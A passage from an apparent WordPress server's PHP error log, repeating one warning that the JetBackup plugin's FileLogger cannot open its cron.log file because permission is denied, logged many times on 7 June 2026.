fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 17:00:56 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 17:01:09 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 17:01:17 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 17:01:25 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 17:01:37 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 17:01:46 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 17:01:55 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 17:02:08 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 17:02:16 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 17:02:26 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 17:02:36 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 17:02:47 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 17:02:55 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 17:03:10 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 17:03:17 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 17:03:26 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 17:03:36 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 17:03:46 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 17:03:56 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 17:04:06 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 17:04:15 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 17:04:25 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 17:04:35 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 17:04:44 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 17:04:54 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 17:05:13 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 17:05:18 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 17:05:37 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 17:05:45 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 17:05:55 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 17:06:07 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 17:06:28 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 17:07:28 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 17:08:28 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 17:09:29 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 17:10:31 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 17:11:30 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 17:12:31 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 17:13:30 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 17:14:30 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 17:15:30 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 17:16:32 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 17:17:29 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 17:18:30 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 17:19:30 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 17:20:28 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 17:21:29 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 17:22:31 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 17:23:30 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 17:24:32 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 17:25:28 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 17:26:28 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 17:27:30 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 17:28:29 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 17:29:28 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 17:30:34 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 17:31:30 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 17:32:29 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 17:33:29 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 17:34:30 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 17:35:29 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 17:36:31 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 17:37:29 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 17:38:30 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 17:39:30 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 17:40:32 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 17:41:30 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 17:42:30 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 17:43:32 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 17:44:31 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 17:45:35 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 17:46:29 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 17:47:34 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 17:48:30 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 17:49:30 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 17:50:34 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 17:51:31 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 17:52:29 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 17:53:30 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 17:54:28 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 17:55:29 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 17:56:29 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 17:57:29 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 17:58:30 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 17:59:30 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 18:00:31 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 18:01:30 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 18:02:28 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 18:05:34 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 18:06:30 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 18:07:29 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 18:08:28 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 18:09:30 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 18:10:29 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 18:11:28 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 18:12:29 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [07-Jun-2026 18:13:29 UTC] PHP Warning: 